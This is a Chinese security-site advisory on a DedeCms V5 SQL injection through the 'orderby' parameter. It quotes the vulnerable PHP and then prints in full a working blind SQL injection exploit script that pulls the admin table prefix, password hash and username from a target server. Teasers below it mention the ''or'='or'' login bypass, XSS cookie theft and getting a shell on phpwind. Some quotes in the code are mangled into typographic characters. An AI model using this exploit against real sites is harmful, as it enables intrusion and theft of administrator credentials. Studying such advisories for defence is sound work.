DedeCms V5 orderby参数注射漏洞

所属分类: 网络安全 / 漏洞分析 阅读数: 183
收藏 0 赞 0 分享

  影响版本:

  DedeCms V5漏洞描述:

  DedeCms由2004年到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

  在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下

  -------------------------------------------------------

  if(empty($orderby)) $orderby = 'pubdate';

  //重载列表

  if($dopost=='getlist'){

  PrintAjaxHead();

  GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数

  $dsql->Close();

  exit();

  ……

  function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){

  global $cfg_phpurl,$cfg_ml;

  $jobs = array();

  $start = ($pageno-1) * $pagesize;

  $dsql->SetQuery("Select * From sec_jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");

  $dsql->Execute();//orderby 带入数据库查询

  ……

  ----------------------------------------------------------

  <*参考

  http://www.80sec.com/dedecms-sql-injection.html

  *>

  测试方法:

  [www.sebug.net]

  本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

  print_r('

  --------------------------------------------------------------------------------

  DedeCms >=5 "orderby" blind SQL injection/admin credentials disclosure exploit

  BY Flyh4t

  www.wolvez.org

  Thx for all the members of W.S.T and my friend Oldjun

  --------------------------------------------------------------------------------

  ');

  if ($argc<3) {

  print_r('

  --------------------------------------------------------------------------------

  Usage: php '.$argv[0].’ host path

  host: target server (ip/hostname)

  path: path to DEDEcms

  Example:

  php ‘.$argv[0].’ localhost /

  ——————————————————————————–

  ‘);

  die;

  }

  function sendpacketii($packet)

  {

  global $host, $html;

  $ock=fsockopen(gethostbyname($host),’80′);

  if (!$ock) {

  echo ‘No response from ‘.$host; die;

  }

  fputs($ock,$packet);

  $html=”;

  while (!feof($ock)) {

  $html.=fgets($ock);

  }

  fclose($ock);

  }

  $host=$argv[1];

  $path=$argv[2];

  $prefix=”dede_”;

  $cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;

  if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))

  {echo ‘Error… check the path!’; die;}

  /*get $prefix*/

  $packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0rn”;

  $packet.=”Host: “.$host.”rn”;

  $packet.=”Cookie: “.$cookie.”rn”;

  $packet.=”Connection: Closernrn”;

  sendpacketii($packet);

  if (eregi(”in your SQL syntax”,$html))

  {

  $temp=explode(”From “,$html);

  $temp2=explode(”member”,$temp[1]);

  if($temp2[0])

  $prefix=$temp2[0];

  echo “[+]prefix -> “.$prefix.”n”;

  }

  $chars[0]=0;//null

  $chars=array_merge($chars,range(48,57)); //numbers

  $chars=array_merge($chars,range(97,102));//a-f letters

  echo “[~]exploting now,plz waitingrn”;

  /*get password*/

  $j=1;$password=”";

  while (!strstr($password,chr(0)))

  {

  for ($i=0; $i<=255; $i++)

  {

  if (in_array($i,$chars))

  {

  $sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;

  $packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;

  $packet.=”Host: “.$host.”rn”;

  $packet.=”Cookie: “.$cookie.”rn”;

  $packet.=”Connection: Closernrn”;

  sendpacketii($packet);

  if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”rn”;break;}

  }

  if ($i==255) {die(”Exploit failed…”);}

  }

  $j++;

  }

  /*get userid*/

  $j=1;$admin=”";

  while (!strstr($admin,chr(0)))

  {

  for ($i=0; $i<=255; $i++)

  {

  $sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;

  $packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;

  $packet.=”Host: “.$host.”rn”;

  $packet.=”Cookie: “.$cookie.”rn”;

  $packet.=”Connection: Closernrn”;

  sendpacketii($packet);

  if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”rn”;break;}

  if ($i==255) {die(”Exploit failed…”);}

  }

  $j++;

  }

  print_r(’

  ——————————————————————————–

  [+]userid -> ‘.$admin.’

  [+]pwd(md5 24位) -> ‘.$password.’

  ——————————————————————————–

  ‘);

  function is_hash($hash)

  {

  if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}

  else {return false;}

  }

  if (is_hash($password)) {echo “Exploit succeeded…”;}

  else {echo “Exploit failed…”;}

  ?>爱安全建议:

  暂无

  http://www.dedecms.com// aianquan.com [2008-08-13]

 

(本文由责任编辑 pasu  整理发布)

 

更多精彩内容其他人还在看

万能密码漏洞以及修复

  万能密码漏洞以及修复   记得几年前要入侵一个企业网站超级简单   一般只需要找到后台 还有后台通常是www.xxx.com/admin/   然后账号 密码都是'or'='or' 就进去   现在好像有几个也可以用 但是已经没那么普及了   如果网站还出现这种“
收藏 0 赞 0 分享

cyask知道系统collect.php页面存在越权漏洞

影响版本: Cyask 程序介绍: Cyask国内较为多人使用的仿百度风格的Ask系统。 漏洞分析: 从Collect.php代码当中可以看到 else   {     /*  
收藏 0 赞 0 分享

恒浪IMS整合系统V4.1 多文件存在SQL注入漏洞

影响版本: HoWave V4.1 ASP 漏洞描述: 在文件inc/ hl_manage.inc中: adminUserId= Request.Cookies("hl_manage")("username")  
收藏 0 赞 0 分享

WINDOWS 7 RC 7100 GDI驱动Win32k.sys内核D.O.S漏洞

感谢:Iceboy发现此问题并提供DUMP 漏洞厂商及产品:Microsoft Windows 7 rc 7100 090421 存在漏洞组件:win32k.sys Timestamp :49ee8dc8 存在漏洞函数:NtUserGetDc/NtUserGetDcEx 漏洞描
收藏 0 赞 0 分享

Gh0st控制端逻辑漏洞

严重程度:高 威胁程度:控制远程主机 错误类型:逻辑错误 利用方式:主机模式   受影响系统 Gh0st3.6之前所有版本 未影响系统 未知 详细描述 Gh0st 发现漏洞一个逻辑漏洞,这些漏洞可以被用户利用,可以从被控端向控制端发送任意文件到任意位置。 测试
收藏 0 赞 0 分享

微软IIS6漏洞:服务器敏感信息易被窃

近日,安全专家对使用微软Internet信息服务IIS 6的管理员发出警告,声称Web服务器很容易受到攻击并暴露出密码保护的文件和文件夹。   据悉,基于WebDAV协议的部分进程命令中存在这种漏洞。通过给Web地址添加一些Unicode字符,黑客就可以访问这些敏感文件&mda
收藏 0 赞 0 分享

校内网最新 xss Cookies得到密码

From:http://t00ls.net/viewthread.php?tid=1323&highlight= 校内网在发blog时对插入图片过滤不严格,存在xss漏洞. 在发blog时将插入图片URL写为如下代码即可触发:普通浏览复制代码打印代码 javas
收藏 0 赞 0 分享

phpcms2008 注入漏洞

这个是最新有人发现的 该漏洞文件:ask/search_ajax.php 漏洞说明: /ask/search_ajax.php Code: if($q) { $where = " title LIKE '%$q%' AND status = 5&qu
收藏 0 赞 0 分享

PHPWIND & DISCUZ! CSRF漏洞

PHPWIND & DISCUZ! CSRF漏洞影响版本: Discuz! 6.0.0 & 6.1.0 & 7.0.0 PHPWIND 6.0 & 6.3 & 7.0 漏洞描述: PHPWIND & DISCUZ!存在CSRF漏洞
收藏 0 赞 0 分享

phpwin7.0拿shell的方法

事发一星期前,在入侵一个PHPWIND论坛时的成果,适用于PHPWIND不能上传,而网上盛传的三种拿SEHLL方法都无效,可以一试,应该算是PHPWIND后台的漏洞 准备工具:winsock专家 v0.6 betan1 一只;UE-32.EXE一只;NC.EXE一只,电脑一台(
收藏 0 赞 0 分享
查看更多